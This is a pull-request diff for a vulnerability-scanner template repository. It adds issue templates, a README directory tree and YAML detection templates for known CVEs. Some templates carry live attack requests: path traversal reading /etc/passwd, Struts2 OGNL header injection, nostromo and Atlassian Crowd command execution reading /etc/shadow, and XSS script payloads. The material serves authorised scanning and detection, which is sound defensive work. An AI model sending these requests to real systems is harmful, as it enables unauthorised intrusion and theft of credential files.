Merge pull request #402 from eschultze/master

Weavescope, Polycom and Iomega panel detection
Update iomega-lenovo-emc-shared-nas-detect.yaml
2026-11-07 08:36:19 -10:00 · 2020-09-04 17:51:19 +05:30 · 2020-09-04 17:49:35 +05:30 · 2020-09-04 17:25:11 +05:30 · 2020-09-04 17:15:34 +05:30 · 2020-09-04 17:10:36 +05:30
147 changed files with 3139 additions and 604 deletions
@@ -0,0 +1,32 @@
+---
+name: Bug report
+about: Create a issue to help us improve
+title: "[Bug] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**Commands to reproduce**
+
+```
+nuclei -t xxx -target xxx
+```
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
@@ -0,0 +1,30 @@
+---
+name: False Positive
+about: 'Create an issue if you found false positive results. '
+title: "[false-positive] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Template ID**
+
+Please submit the ID template producing false-positive results. 
+
+**Commands to Reproduce**
+
+```
+nuclei -t template_id -target ?
+```
@@ -0,0 +1,16 @@
+---
+name: Feature request
+about: Suggest an idea to improve nuclei templates
+title: "[Feature] "
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+
+A clear and concise description of what you want to happen.
@@ -0,0 +1,14 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] "
+labels: ''
+assignees: ''
+
+---
+
+**Template Details**
+
+```
+nuclei template goes here
+```
@@ -0,0 +1,4 @@
+.pre-commit-config.yaml
+security-misconfiguration/missing-x-frame-options.yaml
+panels/
+cves/CVE-2020-13379.yaml
@@ -1,4 +1,304 @@
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### nuclei templates `v6.0.7`
+
+| Template Directory      	| Number of Templates      | Number of HTTP/DNS requests  |
+|---------------------------|--------------------------|------------------------------|
+| cves                     	|86                        |131                           |
+| default-credentials       |03                        |04                            |
+| dns                     	|04                        |04                            |
+| files                     |34                        |111                           |
+| generic-detections        |03                        |03                            |
+| panels                    |28                        |82                            |
+| security-misconfiguration |16                  	   |93                            |
+| subdomain-takeover        |02           			   |02                            |
+| technologies              |24      				   |43                            |
+| tokens                    |07                        |07                            |
+| vulnerabilities           |26          			   |55                            |
+| workflows                 |12              		   |12*                           |
+
+### nuclei templates `v6.0.7` tree overview 
+
+<details>
+<summary>Template Directory</summary>
+
+```
+├── cves
+│   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-14849.yaml
+│   ├── CVE-2017-5638.yaml
+│   ├── CVE-2017-7391.yaml
+│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-9506.yaml
+│   ├── CVE-2017-9841.yaml
+│   ├── CVE-2018-0296.yaml
+│   ├── CVE-2018-1000129.yaml
+│   ├── CVE-2018-11409.yaml
+│   ├── CVE-2018-11759.yaml
+│   ├── CVE-2018-1247.yaml
+│   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-14728.yaml
+│   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19439.yaml
+│   ├── CVE-2018-20824.yaml
+│   ├── CVE-2018-2791.yaml
+│   ├── CVE-2018-3714.yaml
+│   ├── CVE-2018-3760.yaml
+│   ├── CVE-2018-5230.yaml
+│   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11248.yaml
+│   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-11580.yaml
+│   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-12461.yaml
+│   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14974.yaml
+│   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16278.yaml
+│   ├── CVE-2019-16759-1.yaml
+│   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-18394.yaml
+│   ├── CVE-2019-19368.yaml
+│   ├── CVE-2019-19781.yaml
+│   ├── CVE-2019-19908.yaml
+│   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-2725.yaml
+│   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3799.yaml
+│   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8449.yaml
+│   ├── CVE-2019-8451.yaml
+│   ├── CVE-2019-8903.yaml
+│   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-10199.yaml
+│   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12720.yaml
+│   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-17505.yaml
+│   ├── CVE-2020-17506.yaml
+│   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-24223.yaml
+│   ├── CVE-2020-3187.yaml
+│   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-5284.yaml
+│   ├── CVE-2020-5405.yaml
+│   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5412.yaml
+│   ├── CVE-2020-5902.yaml
+│   ├── CVE-2020-6287.yaml
+│   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7961.yaml
+│   ├── CVE-2020-8091.yaml
+│   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8163.yaml
+│   ├── CVE-2020-8191.yaml
+│   ├── CVE-2020-8193.yaml
+│   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8512.yaml
+│   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9484.yaml
+│   ├── CVE-2020-9496.yaml
+│   └── CVE-2020-9757.yaml
+├── default-credentials
+│   ├── grafana-default-credential.yaml
+│   ├── rabbitmq-default-admin.yaml
+│   └── tomcat-manager-default.yaml
+├── dns
+│   ├── azure-takeover-detection.yaml
+│   ├── cname-service-detector.yaml
+│   ├── dead-host-with-cname.yaml
+│   └── servfail-refused-hosts.yaml
+├── files
+│   ├── apc-info.yaml
+│   ├── cgi-test-page.yaml
+│   ├── dir-listing.yaml
+│   ├── docker-registry.yaml
+│   ├── druid-monitor.yaml
+│   ├── drupal-install.yaml
+│   ├── ds_store.yaml
+│   ├── elasticsearch.yaml
+│   ├── error-logs.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-svn.yaml
+│   ├── filezilla.yaml
+│   ├── firebase-detect.yaml
+│   ├── git-config.yaml
+│   ├── htaccess-config.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jolokia.yaml
+│   ├── laravel-env.yaml
+│   ├── lazy-file.yaml
+│   ├── phpinfo.yaml
+│   ├── public-tomcat-instance.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── server-status-localhost.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── tomcat-scripts.yaml
+│   ├── wadl-files.yaml
+│   ├── web-config.yaml
+│   ├── wordpress-debug-log.yaml
+│   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-user-enumeration.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── zip-backup-files.yaml
+├── generic-detections
+│   ├── basic-xss-prober.yaml
+│   ├── general-tokens.yaml
+│   └── top-15-xss.yaml
+├── panels
+│   ├── atlassian-crowd-panel.yaml
+│   ├── cisco-asa-panel.yaml
+│   ├── citrix-adc-gateway-detect.yaml
+│   ├── compal.yaml
+│   ├── crxde.yaml
+│   ├── docker-api.yaml
+│   ├── fortinet-fortigate-panel.yaml
+│   ├── globalprotect-panel.yaml
+│   ├── grafana-detect.yaml
+│   ├── jenkins-asyncpeople.yaml
+│   ├── jmx-console.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── mongo-express-web-gui.yaml
+│   ├── parallels-html-client.yaml
+│   ├── pfsense-web-gui.yaml
+│   ├── phpmyadmin-panel.yaml
+│   ├── pulse-secure-panel.yaml
+│   ├── rabbitmq-dashboard.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sap-recon-detect.yaml
+│   ├── sophos-fw-version-detect.yaml
+│   ├── supervpn-panel.yaml
+│   ├── swagger-panel.yaml
+│   ├── tikiwiki-cms.yaml
+│   ├── traefik-dashboard
+│   ├── traefik-dashboard.yaml
+│   ├── weave-scope-dashboard-detect.yaml
+│   ├── webeditors.yaml
+│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
+├── payloads
+│   └── CVE-2020-6287.xml
+├── security-misconfiguration
+│   ├── basic-cors-flash.yaml
+│   ├── basic-cors.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── jira-service-desk-signup.yaml
+│   ├── jira-unauthenticated-dashboards.yaml
+│   ├── jira-unauthenticated-popular-filters.yaml
+│   ├── jira-unauthenticated-projects.yaml
+│   ├── jira-unauthenticated-user-picker.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── put-method-enabled.yaml
+│   ├── rack-mini-profiler.yaml
+│   ├── springboot-detect.yaml
+│   ├── wamp-xdebug-detect.yaml
+│   └── wordpress-accessible-wpconfig.yaml
+├── subdomain-takeover
+│   ├── detect-all-takeovers.yaml
+│   └── s3-subtakeover.yaml
+├── technologies
+│   ├── artica-web-proxy-detect.yaml
+│   ├── bigip-config-utility-detect.yaml
+│   ├── citrix-vpn-detect.yaml
+│   ├── clockwork-php-page.yaml
+│   ├── couchdb-detect.yaml
+│   ├── favicon-detection.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
+│   ├── graphql.yaml
+│   ├── home-assistant.yaml
+│   ├── jaspersoft-detect.yaml
+│   ├── jira-detect.yaml
+│   ├── liferay-portal-detect.yaml
+│   ├── linkerd-badrule-detect.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── netsweeper-webadmin-detect.yaml
+│   ├── prometheus-exposed-panel.yaml
+│   ├── s3-detect.yaml
+│   ├── sap-netweaver-as-java-detect.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sql-server-reporting.yaml
+│   ├── tech-detect.yaml
+│   ├── weblogic-detect.yaml
+│   └── werkzeug-debugger-detect.yaml
+├── tokens
+│   ├── amazon-mws-auth-token-value.yaml
+│   ├── aws-access-key-value.yaml
+│   ├── credentials-disclosure.yaml
+│   ├── google-api-key.yaml
+│   ├── http-username-password.yaml
+│   ├── mailchimp-api-key.yaml
+│   └── slack-access-token.yaml
+├── vulnerabilities
+│   ├── cached-aem-pages.yaml
+│   ├── couchdb-adminparty.yaml
+│   ├── crlf-injection.yaml
+│   ├── discourse-xss.yaml
+│   ├── eclipse-help-system-xss.yaml
+│   ├── git-config-nginxoffbyslash.yaml
+│   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── microstrategy-ssrf.yaml
+│   ├── moodle-filter-jmol-lfi.yaml
+│   ├── moodle-filter-jmol-xss.yaml
+│   ├── nginx-module-vts-xss.yaml
+│   ├── open-redirect.yaml
+│   ├── oracle-ebs-bispgraph-file-access.yaml
+│   ├── pdf-signer-ssti-to-rce.yaml
+│   ├── rce-shellshock-user-agent.yaml
+│   ├── rce-via-java-deserialization.yaml
+│   ├── sick-beard-xss.yaml
+│   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tikiwiki-reflected-xss.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
+│   ├── twig-php-ssti.yaml
+│   ├── wems-manager-xss.yaml
+│   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-wordfence-xss.yaml
+│   └── x-forwarded-host-injection.yaml
+└── workflows
+    ├── artica-web-proxy-workflow.yaml
+    ├── bigip-pwner-workflow.yaml
+    ├── cisco-asa-workflow.yaml
+    ├── grafana-workflow.yaml
+    ├── jira-exploitaiton-workflow.yaml
+    ├── liferay-rce-workflow.yaml
+    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── rabbitmq-workflow.yaml
+    ├── sap-netweaver-workflow.yaml
+    ├── springboot-pwner-workflow.yaml
+    ├── vbulletin-workflow.yaml
+    └── wordpress-workflow.yaml
+```
+
+</details>
+
+13 directories, **250 templates**. 

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -8,3 +308,4 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
+
@@ -4,6 +4,7 @@ info:
  name: Oracle Content Server XSS
  author: madrobot
  severity: medium
+  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.

 requests:
  - method: GET
@@ -19,4 +20,4 @@ requests:
      - type: word
        words:
          - "<script>alert(31337)</script>"
-        part: body
+        part: body
@@ -0,0 +1,51 @@
+id: CVE-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,21 @@
+id: CVE-2017-14849
+
+info:
+  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
+  author: Random-Robbie
+  severity: high
+  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,30 @@
+id: CVE-2017-5638
+info:
+  author: "Random Robbie"
+  name: "Struts2 RCE "
+  severity: critical
+  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+
+# This template supports the detection part only.
+# Do not test any website without permission
+# Exploit:- https://github.com/mazen160/struts-pwn
+
+
+requests:
+  - raw:
+      - |
+          GET / HTTP/1.1
+          Host: {{Hostname}}
+          Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+          Accept-Language: en
+          Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+          Connection: Keep-Alive
+          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
+          Pragma: no-cache
+          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+
+    matchers:
+      - type: word
+        words:
+          - "X-Hacker: Bounty Plz"
+        part: header
@@ -0,0 +1,25 @@
+id: CVE-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+
+  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body
@@ -1,23 +1,23 @@
 id: CVE-2017-7529
 info:
-  author: "Harsh Bothra"
+  author: "Harsh Bothra & @dwisiswant0"
  name: "Nginx Remote Integer Overflow"
  severity: medium
+  description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

-# This template supports the detection part only.
-# Do not test any website without permission
-# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
+  # This template supports the detection part only.
+  # Do not test any website without permission
+  # https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py

 requests:
  - raw:
      - |
-          GET / HTTP/1.1
-          Host: {{Hostname}}
-          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-          Accept-Language: en-US,en;q=0.5
-          Range: bytes=-17208,-9223372036854758792
-          Connection: close
-
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Range: bytes=-17208,-9223372036854758792
+        Connection: close
    matchers-condition: and
    matchers:
      - type: status
@@ -25,5 +25,7 @@ requests:
          - 206
      - type: word
        words:
-          - Content-Range
-        part: all
+          - "Server: nginx"
+          - "Content-Range"
+        condition: and
+        part: header
@@ -4,6 +4,7 @@ info:
  name: Jira IconURIServlet SSRF
  author: Ice3man
  severity: high
+  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).

 requests:
  - method: GET
@@ -3,8 +3,8 @@ id: CVE-2017-9841
 info:
  name: CVE-2017-9841
  author: Random-Robbie
-  severity: High
-
+  severity: high
+  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  # Reference to exploit
  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
  # https://github.com/RandomRobbieBF/phpunit-brute
@@ -2,15 +2,16 @@ id: CVE-2018-1000129

 info:
  name: Jolokia XSS
-  author: mavericknerd
+  author: mavericknerd @0h1in9e
  severity: high
+  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -18,5 +19,9 @@ requests:
          - 200
      - type: word
        words:
-          - "<svg/onload=alert(1337)>"
+          - "<svg onload=alert(document.domain)>"
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -3,7 +3,7 @@ id: CVE-2018-1271
 info:
  name: Spring MVC Directory Traversal Vulnerability
  author: hetroublemakr
-  severity: High
+  severity: high
  # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d

 requests:
@@ -4,7 +4,7 @@ info:
  name: Nuxeo Authentication Bypass Remote Code Execution
  author: madrobot
  severity: high
-
+  description: Nuxeo Authentication Bypass Remote Code Execution &lt; 103 using a SSTI
 requests:
  - method: GET
    path:
@@ -4,6 +4,7 @@ info:
  name: Wordpress unauthenticated stored xss
  author: nadino
  severity: medium
+  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.

 requests:
  - method: POST
@@ -4,6 +4,7 @@ info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
  author: madrobot & dwisiswant0
  severity: high
+  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: Atlassian Jira WallboardServlet XSS
  author: madrobot & dwisiswant0
  severity: medium
+  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.

 requests:
  - method: GET
@@ -4,13 +4,13 @@ info:
  name: Oracle WebCenter Sites XSS
  author: madrobot
  severity: medium
-
+  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
    matchers:
      - type: word
        words:
-          - "<script>alert(1337)</script>"
+          - "<h1xxx<scriptalert(1)</script"
        part: body
@@ -0,0 +1,37 @@
+id: CVE-2019-1010287
+
+info:
+  name: Timesheet 1.5.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: High
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+# Google-Dork: inurl:"/timesheet/login.php"
+# Demo: http://www.mdh-tz.info/
+
+requests:
+  - raw:  # Metod POST  From  login.php
+      - |
+        POST /timesheet/login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 91
+        DNT: 1
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '><script>javascript:alert(document.domain)</script>'
+        part: body
@@ -0,0 +1,19 @@
+id: CVE-2019-11248
+
+info:
+  name: exposed_pprof
+  author: 0xceeb
+  severity: medium
+
+  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
+  # http://mmcloughlin.com/posts/your-pprof-is-showing
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/debug/pprof/"
+    matchers:
+      - type: word
+        words:
+          - "Types of profiles available:"
+          - "Profile Descriptions"
@@ -0,0 +1,38 @@
+id: CVE-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2019-12461
+
+info:
+  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Vendor Homepage: https://webport.se/
+# Software Link: https://webport.se/nedladdningar/
+# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"</script><script>alert(document.domain);</script><script>'
+        part: body
@@ -0,0 +1,26 @@
+id: CVE-2019-16278
+
+info:
+  author: pikpikcu
+  name: nostromo 1.9.6 - Remote Code Execution
+  severity: critical
+
+  # Source: https://www.exploit-db.com/raw/47837
+
+requests:
+  - raw:
+      - |
+        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Content-Length: 1
+        Connection: close
+
+        echo
+        echo
+        cat /etc/passwd 2>&1
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,25 @@
+id: CVE-2019-16759-1
+
+info:
